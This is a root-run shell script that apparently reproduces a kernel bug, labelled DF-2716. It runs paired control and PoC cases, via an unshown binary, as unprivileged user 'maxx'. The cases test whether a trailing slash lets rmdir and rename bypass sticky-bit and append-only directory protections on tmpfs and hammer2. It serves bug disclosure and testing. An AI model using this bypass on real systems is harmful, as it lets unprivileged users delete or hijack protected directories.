#!/bin/sh
# DF-2716 matrix driver (root): runs the sticky/append-only trailing-slash
# bypass matrix on a given filesystem.  Usage:  sh run.sh <fs-base-dir>
# e.g.  sh run.sh /tmp     (tmpfs)
#       sh run.sh /df2716h (hammer2 root fs)
BASE="${1:-/tmp}"
BIN=/tmp/df2716_bin/df2716
export DF2716_BASE="$BASE/df2716"
export DF2716_BASEB="$BASE/df2716b"

prep_sticky() {
  rm -rf "$DF2716_BASE" "$BASE/df2716_stolen" "$BASE/df2716_own_dir"
  mkdir -p "$DF2716_BASE"
  chmod 1777 "$DF2716_BASE"
  mkdir "$DF2716_BASE/victim"			# root-owned victim dir
  mkdir "$BASE/df2716_own_dir"			# attacker-controlled dir
  chown maxx:maxx "$BASE/df2716_own_dir"
}
prep_sappnd() {
  chflags nosappnd "$DF2716_BASEB" 2>/dev/null
  rm -rf "$DF2716_BASEB"
  mkdir -p "$DF2716_BASEB/sub"
  chmod 1777 "$DF2716_BASEB"
  chflags sappnd "$DF2716_BASEB"			# append-only directory
}

run() { su -m maxx -c "$BIN $1"; echo "rc=$?"; }

echo "===== sticky-bit matrix on $BASE ====="
prep_sticky
echo "--- a1 control: rmdir victim, NO trailing slash (expect EACCES/EPERM)"
run a1
prep_sticky
echo "--- a2 PoC: rmdir victim WITH trailing slash (BUG: expect 0)"
run a2
prep_sticky
echo "--- a3 control: rename victim out, NO slash (expect EACCES/EPERM)"
run a3
prep_sticky
echo "--- a4 PoC: rename victim out WITH trailing slash (BUG: expect 0)"
run a4
prep_sticky
echo "--- a5 PoC: rename own dir ONTO victim/ (BUG: expect 0)"
run a5

echo "===== append-only (sappnd) matrix on $BASE ====="
prep_sappnd
echo "--- b1 control: rmdir sappnd-dir entry, NO slash (expect EPERM)"
run b1
prep_sappnd
echo "--- b2 PoC: rmdir sappnd-dir entry WITH trailing slash (BUG: expect 0)"
run b2

echo "===== post-state ====="
ls -ld "$DF2716_BASE" "$DF2716_BASE/victim" "$BASE/df2716_stolen" \
       "$BASE/df2716_own_dir" "$DF2716_BASEB" "$DF2716_BASEB/sub" 2>&1
chflags nosappnd "$DF2716_BASEB" 2>/dev/null
rm -rf "$DF2716_BASE" "$DF2716_BASEB" "$BASE/df2716_stolen" \
       "$BASE/df2716_own_dir"